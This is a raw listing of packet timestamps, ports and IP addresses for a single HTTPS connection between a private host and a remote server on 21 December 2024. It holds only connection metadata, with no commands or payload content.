Dec 21, 2024 19:24:51.837979078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.837985992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.838027954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838027954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838077068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838125944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838125944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838125944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838175058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838274002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838274002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838305950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.838323116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838323116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838421106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838421106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838469982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838469982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838480949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.838517904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838517904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838567019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838665962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838665962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838665962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838763952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838763952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838813066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838813066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838813066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838854074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.838860989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838910103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.838911057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839009047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839009047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839021921 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.839056969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839155912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839155912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839155912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839204073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839252949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839252949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839302063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839350939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839400053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839400053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839448929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839453936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.839498043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839498043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839596987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839596987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839606047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.839644909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839644909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839694023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839694023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839792013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839792013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839844942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839891911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839939117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839939117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839989901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839989901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839989901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.839989901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840037107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840045929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.840085983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840183973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840183973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840183973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840281963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840281963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840331078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840331078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840379953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840429068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840429068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840429068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840435028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.840527058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840527058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840625048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840626001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840636015 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.840673923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840723991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840723991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840773106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840773106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840821028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840869904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840869904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840919971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840967894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.840967894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841017008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841017008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841068983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841068983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841115952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841115952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841125965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.841164112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841262102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841262102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841310978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841361046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841361046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841408968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841408968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841458082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841458082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841458082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841506958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841604948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841604948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841614008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.841715097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841715097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841763973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841814041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841814041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841862917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841862917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841862917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841862917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841911077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.841959953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842010021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842010021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842057943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842156887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842156887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842156887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842169046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.842211008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842256069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842256069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842256069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842303038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842401981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842401981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842401981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842499018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842499018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842499018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842547894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842547894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842597008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842645884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842645884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842745066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842745066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842745066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842752934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.842842102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842842102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842890978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842890978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842941046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842941046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842989922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.842989922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843087912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843087912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843137026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843137026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843234062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843234062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843245029 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.843283892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843283892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843332052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843332052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843381882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843430042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843478918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843478918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843528032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843528032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843576908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843576908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843626022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843626022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843730927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843730927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843736887 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.843779087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843827963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843877077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843877077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843926907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843926907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843975067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.843975067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844074011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844074011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844172955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844172955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844221115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844238997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.844270945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844270945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844320059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844372988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844372988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844418049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844418049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844466925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844563961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844563961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844564915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844613075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844661951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844661951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844711065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844759941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844759941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844759941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844835997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.844861031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844861031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844959021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.844959021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845007896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845057964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845057964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845105886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845105886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845158100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845205069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845205069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845252991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845303059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845303059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845303059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845350981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845386982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.845400095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845449924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845449924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845546961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845546961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845597029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845597029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845644951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845694065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845694065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845694065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845792055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845792055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845840931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845890045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845890045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845938921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845938921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845983028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.845988035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.845988035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846036911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846036911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846134901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846134901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846184015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846232891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846232891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846282005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846330881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846330881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846332073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846344948 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.846379995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846429110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846478939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846478939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846527100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846576929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846576929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846625090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846673965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846724033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846724033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846724033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846822023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846822023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846869946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846919060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846919060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846967936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.846967936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847017050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847017050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847065926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847163916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847163916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847213030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847261906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847261906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847311974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847359896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847368002 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.847409964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847409964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847409964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847507954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847507954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847556114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847655058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847655058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847702980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847702980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847752094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847752094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847851038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847851038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847948074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847948074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847996950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.847996950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.848050117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.848050117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.848094940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.848094940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.848196030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.848196030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.848243952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.054239988 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.054455996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.360996008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361007929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361013889 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361020088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361247063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361247063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361247063 CET	49766	443	192.168.11.20	172.67.184.254
